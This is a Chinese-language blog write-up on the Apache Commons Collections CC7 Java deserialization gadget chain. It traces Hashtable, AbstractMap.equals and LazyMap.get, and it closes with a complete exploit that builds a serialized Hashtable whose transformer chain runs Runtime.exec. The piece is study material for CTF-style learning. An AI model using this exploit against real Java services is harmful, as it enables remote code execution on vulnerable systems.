java反序列化之CC7 CC7 链分析 CC7 的后半段链子和 CC1 是一样的,前半段先看一下 yso 的链子:
1 2 3 4 5 6 7 8 9 10 11 12 java.util.Hashtable.readObject java.util.Hashtable.reconstitutionPut org.apache.commons.collections.map.AbstractMapDecorator.equals java.util.AbstractMap.equals org.apache.commons.collections.map.LazyMap.get org.apache.commons.collections.functors.ChainedTransformer.transform org.apache.commons.collections.functors.InvokerTransformer.transform java.lang.reflect.Method.invoke sun.reflect.DelegatingMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke0 java.lang.Runtime.exec
入口类是Hashtable,看一下readObject方法的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); int origlength = s.readInt(); int elements = s.readInt(); int length = (int )(elements * loadFactor) + (elements / 20 ) + 3 ; if (length > elements && (length & 1 ) == 0 ) length--; if (origlength > 0 && length > origlength) length = origlength; table = new Entry <?,?>[length]; threshold = (int )Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1 ); count = 0 ; for (; elements > 0 ; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); reconstitutionPut(table, key, value); } }
在最后调用了Hashtable.reconstitutionPut()方法,跟进一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null ) { throw new java .io.StreamCorruptedException(); } int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } } @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry <>(hash, key, value, e); count++; }
根据 yso 的链子就找到了equals()方法,不过也能走hashCode()方法,这就回到 CC6 了。然后找到AbstractMapDecorator这个类的equals()方法:
1 2 3 4 5 6 public boolean equals (Object object) { if (object == this ) { return true ; } return map.equals(object); }
再来看一下构造器:
1 2 3 4 5 6 7 8 protected transient Map mappublic AbstractMapDecorator (Map map) { if (map == null ) { throw new IllegalArgumentException ("Map must not be null" ); } this .map = map; }
接下来就是找 Map 的实现类。在AbstractMap类的equals() 方法中发现其调用了 get() 方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public boolean equals (Object o) { if (o == this ) return true ; if (!(o instanceof Map)) return false ; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false ; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null ) { if (!(m.get(key)==null && m.containsKey(key))) return false ; } else { if (!value.equals(m.get(key))) return false ; } } } catch (ClassCastException unused) { return false ; } catch (NullPointerException unused) { return false ; } return true ; }
CC7 EXP LazyMap.get() 部分的 EXP 再复习一下从LazyMap开始的 EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.util.HashMap;import java.util.Map;public class test { public static void main (String[] args) { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class, Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer); lazyMap.get(new HashMap <>()); } }
结合入口类编写 EXP 先来看reconstitutionPut方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null ) { throw new java .io.StreamCorruptedException(); } int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } } @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry <>(hash, key, value, e); count++; }
这里对传入的Entry对象数组进行遍历,并逐个调用e.key.equals(key)。再来联系一下AbstractMap.equals():
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public boolean equals (Object o) { if (o == this ) return true ; if (!(o instanceof Map)) return false ; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false ; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null ) { if (!(m.get(key)==null && m.containsKey(key))) return false ; } else { if (!value.equals(m.get(key))) return false ; } } } catch (ClassCastException unused) { return false ; } catch (NullPointerException unused) { return false ; } return true ; }
如果我们可以控制e.key.equals(key)的key,就能控制AbstractMap.equals()中的m。
接下来回到readObject方法,再看一次源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); int origlength = s.readInt(); int elements = s.readInt(); int length = (int )(elements * loadFactor) + (elements / 20 ) + 3 ; if (length > elements && (length & 1 ) == 0 ) length--; if (origlength > 0 && length > origlength) length = origlength; table = new Entry <?,?>[length]; threshold = (int )Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1 ); count = 0 ; for (; elements > 0 ; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); reconstitutionPut(table, key, value); } }
根据我的注释就很好理解这段代码的主要部分了:java 是通过新建然后填充从而实现反序列化的,所以对于一个Hashtable,反序列化是就是先把整个框架搭建好,然后调用reconstitutionPut来填充这个新的Entry对象。然后我们再来关注reconstitutionPut方法中发生了什么:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null ) { throw new java .io.StreamCorruptedException(); } int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } } @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry <>(hash, key, value, e); count++; }
根据我的注释,大致能理解这个函数的具体运行逻辑了。
我们来看一下,如果我们只在Hashtable中放一个键值对,传入reconstitutionPut方法的Entry对象就是空,for 循环根本进不去,所以无法触发equals方法。
如果我们放两个键值对,在第一个键值对传入后e这个Entry对象已经存了第一个键值对,然后第二次调用reconstitutionPut方法的时候tab就有了第一个键值对,然后计算第二个键的哈希,如果第二个哈希和第一个哈希是一样的,就会调用equals。
这也是为什么 yso 的链子中会放两个LazyMap且存放在LazyMap的键分别为yy和zZ。
当我们把两个LazyMap放到Hashtable中后,e.key就是第一个LazyMap,此时就会调用LazyMap的equals方法,但是这个方法LazyMap没有实现,所以就去调用了父类AbstractMapDecorator的equals方法:
1 2 3 4 5 6 public boolean equals (Object object) { if (object == this ) { return true ; } return map.equals(object); }
这里调用了map属性的equals方法,关注一下这个map属性,在LazyMap被实例化时已经给map属性赋值了:
1 2 3 4 5 6 7 protected LazyMap (Map map, Factory factory) { super (map); if (factory == null ) { throw new IllegalArgumentException ("Factory must not be null" ); } this .factory = FactoryTransformer.getInstance(factory); }
1 2 3 4 5 6 public AbstractMapDecorator (Map map) { if (map == null ) { throw new IllegalArgumentException ("Map must not be null" ); } this .map = map; }
而在我们构造第一个LazyMap时,第一个参数是一个普通的HashMap,所以就变成了HashMap.equals(lazyMap2)。而HashMap也没有重写equals方法,所以就会调用父类AbstractMap的equals方法,所以就变成了AbstractMap.equals(lazyMap2)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public boolean equals (Object o) { if (o == this ) return true ; if (!(o instanceof Map)) return false ; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false ; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null ) { if (!(m.get(key)==null && m.containsKey(key))) return false ; } else { if (!value.equals(m.get(key))) return false ; } } } catch (ClassCastException unused) { return false ; } catch (NullPointerException unused) { return false ; } return true ; }
此时传入的lazyMap2就赋值给了变量m,在后续就调用了LazyMap的get方法,实现了整个链子。
但至此还有一个问题,在 yso 的链子中,还把一开始的yy给删除了。
回到序列化之前,我们要把两个LazyMap放到Hashtable中,代码大致为:
1 2 3 Hashtable ht = new Hashtable ();ht.put(lazyMap1, "value1" ); ht.put(lazyMap2, "value2" );
问题就在第二步上。
根据上面的分析,Hashtable内部会进行lazyMap2.equals(lazyMap1) 来判断键是否重复,从而触发lazyMap1内部的HashMap比较lazyMap2,从而调用lazyMap2.get("yy")。而LazyMap.get()中有一个逻辑:如果没有这个键,就调用factory.transform(key)并进行map.put(key, value)操作,也就是会把yy存放到LazyMap内部的HashMap中。这样我们的lazyMap2中就有两个键值对:"zZ"->1和"yy"->某个值,这样在反序列化重建时,在进行HashMap.equals时会查找lazyMap2,如果不删除,lazyMap2中有yy这个键,此时调用lazyMap2.get时其中的条件map.containsKey(key) == false就不满足,就不会调用到其中的factory.transform(key),这样链子就断了。所以当我们put完成之后,就会删除lazyMap2的yy。
完整 EXP :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class test { public static void serialize (Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } public static void main (String[] args) throws Exception{ Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class, Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap1 = new HashMap <>(); HashMap<Object, Object> hashMap2 = new HashMap <>(); Map lazyMap1 = LazyMap.decorate(hashMap1, chainedTransformer); lazyMap1.put("yy" ,1 ); Map lazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer); lazyMap2.put("zZ" ,1 ); Hashtable<Object, Object> hashtable = new Hashtable <>(); hashtable.put(lazyMap1,1 ); hashtable.put(lazyMap2,1 ); lazyMap2.remove("yy" ); serialize(hashtable); unserialize("ser.bin" ); } }
总结 感觉这条链子的各种变量传递很绕,得多看看。这也让我想到一个项目思路:搞一个 java 反编译器,同时能够导出为 maven 和 gradle 项目,这样以后做到 java web 的题目就不用很麻烦的搭建题目环境了,然后再搞一个 java hook,这样追踪变量传递就很轻松了,不用花脑子想半天。